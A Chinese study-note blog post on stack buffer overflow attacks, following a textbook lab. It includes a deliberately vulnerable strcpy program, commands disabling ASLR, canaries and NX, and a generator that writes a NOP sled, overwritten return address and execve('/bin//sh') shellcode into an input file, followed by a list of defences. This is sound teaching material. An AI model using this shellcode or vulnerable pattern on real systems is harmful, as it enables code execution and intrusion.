4.3 缓冲区溢出攻击

前言

缓冲区溢出攻击，久慕大名，如雷贯耳。

今天我们简单看看它的庐山真面目。

在这之前，我们需要掌握如下背景：

• 程序在内存中的布局

• gdb调试之栈帧信息

来源：《Computer Security》A Hands-on Approach — Wenliang Du

书上的内容介绍逻辑很好，这里简单做个笔记，详细内容见书上。

[toc]

摘要和总结

简单介绍缓冲区溢出攻击原理；

关闭防护措施，进行缓冲器溢出攻击实验；

最后从不同层次简单提及缓冲区溢出的防御措施；

原理

图解

原理理解起来并没有难度。

image-20200512223620660

image-20200512222651922

大致如上所示。通过缓冲区溢出，覆盖返回地址。

返回地址跳转到我们栈中恶意代码。

这样便完成了缓冲区溢出攻击。

模拟代码

/**
 * 用来演示缓冲区溢出攻击:stack.c
 * sudo sysctl -w kernel.randomize_va_space=0
 * gcc -g -fno-stack-protector -z execstack -o stack stack.c
 * badfile 的生成，我们放在后面
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void func(char *src){
    char buffer[100]={0};

    strcpy(buffer,src);
}


int main(void){

    char src[400]={0};

    FILE *badfile = fopen("badfile","r");
    if (!badfile){
        printf("no open badfile");
        return 0;
    }

    fread(src,sizeof(char),300,badfile);

    func(src);

    printf("return properly\n");
    return 0;    
}

实现

关闭防护措施

无奈哈，现在不关闭保护措施，搞不来。:dog:

参考：linux程序的常用保护机制 、Linux平台的ASLR机制

1. 内存地址随机化机制（address space layout randomization)

   Linux系统中sysctl命令详解 ：-w临时改变某个指定参数的值

   • 0 - 表示关闭进程地址空间随机化。

   • 1 - 表示将mmap的基址，stack和vdso页面随机化。

   • 2 - 表示在1的基础上增加栈（heap）的随机化。

   我没敢在真机上尝试，我在虚拟机上实验。

   sudo sysctl -w kernel.randomize_va_space=0

2. CANNARY(栈保护)

   这部分内容，可以通过gdb调试看到。(具体见书上)

   canary是一种用来防护栈溢出的保护机制。其原理是在一个函数的入口处，先从fs/gs寄存器中取出一个4字节(eax)或者8字节(rax)的值存到栈上，当函数结束时会检查这个栈上的值是否和存进去的值一致

   gcc -o test test.c                        // 默认情况下，不开启Canary保护
   gcc -fno-stack-protector -o test test.c  //禁用栈保护
   gcc -fstack-protector -o test test.c   //启用堆栈保护，不过只为局部变量中含有 char 数组的函数插入保护代码
   gcc -fstack-protector-all -o test test.c //启用堆栈保护，为所有函数插入保护代码

3. NX（DEP）

   NX即No-eXecute（不可执行）的意思，NX（DEP）的基本原理是将数据所在内存页标识为不可执行，当程序溢出成功转入shellcode时，程序会尝试在数据页面上执行指令，此时CPU就会抛出异常，而不是去执行恶意指令。

   gcc -o test test.c                    // 默认情况下，开启NX保护
   gcc -z execstack -o test test.c        // 禁用NX保护
   gcc -z noexecstack -o test test.c    // 开启NX保护

4. 使用gdb里peda插件里自带的checksec查看

   gcc -g -fno-stack-protector -z execstack -o stack stack.c

   参考：[GDB实用插件(peda, gef, gdbinit)全解]https://blog.csdn.net/gatieme/article/details/63254211

   

生成badfile文件

这个badfile文件要求

• 不能包含'\0' ,否者复制的时候，遇到'\0'结束。

• 覆盖返回地址内容，跳转后，可以到达恶意代码。

/**
 * 用来生成包含恶意代码的文件
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

/*shellcode暂时不关心，汇编和二进制的转换*/
char shellcode[]=
    "\x31\xc0"   /*xorl %eax,%eax*/
    "\x50"       /*pushl %eax*/
    "\x68""//sh" /*pushl $0x68732f2f  这是ASCII值*/
    "\x68""/bin" /*pushl $0x6e69622f*/
    "\x89\xe3"   /*movl %esp,%ebx*/
    "\x50"       /*pushl %eax*/
    "\x53"       /*pushl %ebx*/
    "\x89\xe1"   /*movl %esp,%ecx*/
    "\x99"       /*cdp*/
    "\xb0\x0b"   /*movb $0x0b,%al*/
    "\xcd\x80"   /*int $0x80*/
;

void main(){
     /*因为stack.c中一次最多读取300,我这里希望有更多的nop指令，增加命中概率*/
    char buffer[300];

    FILE *badfile;

    /*x86 CPU上的NOP指令实质上是XCHG EAX, EAX（操作码同为0x90）--无任何作用的指令。*/
    memset(&buffer,0x90,sizeof(buffer));

    /*原来的返回地址被nop覆盖，这里我们让它在本地，如果没有成功，增大它的值
     *因为书上说，调试的时候，会在栈的前面压入一些内容，而运行的时候没有
     *导致栈相对运行的时候，较深。
     */
    *((long *)(buffer+112)) = 0xbfffea98 + 0x80;

    /*将shellcode保存在最后*/
    memcpy(buffer+sizeof(buffer)-sizeof(shellcode),shellcode,sizeof(shellcode));

    /*将buffer写入文件*/
    badfile = fopen("badfile","w");
    fwrite(buffer,sizeof(char),sizeof(buffer),badfile);
    fclose(badfile);
}

1. 其中0xbfffea98，是我们调试源码，它调用函数的返回地址。

2. 112是buffer和栈帧之间的距离。

3. 这个代码生成badfile，作为stack输入。 用空指令(NOP)填充缓冲区,单独覆盖返回地址。根据返回地址进行跳转，向上跳转，只要跳转目的地址的指令还是空指令，便可以执行到恶意代码。

4. 虚拟机是32为系统，所以上面的shellcode如上面所示。syscall_32.tbl 、Syscall Table for x86 and x86_64

5. 64位下shellcode生成

结果

image-20200512231509054

但是吧，我们并不能获取特权sh，即使再stack是特权程序。

这个我们在第一章，使用特权程序的时候便知道了。

但sh的切换，说明缓冲区溢出攻击成功。

或许我们可以把shellcode里的内容，填充为反弹shell。

暂时，忽略，shellcode中二进制和汇编的转换过程。

防护

我们可以从不同的层次(角度)，进行防御。

书上介绍的较少，我也不怎么清楚。

1. 更安全的函数　---> strncpy代替strcpy的使用

2. 更安全的动态链接库　--> 基于Libsafe库的缓冲区溢出检测算法改进

3. 更安全的编程语言　--> Rust：一个不再有 C/C++ 的，实现安全实时软件的未来

4. 编译器　---> 上面关闭的栈保护(StackGuard)

5. 操作系统 ---> 内存地址随机化机制（address space layout randomization)

6. 硬件架构 ---> NX位，CPUs使代码和数据分离。不将栈中数据作为指令执行。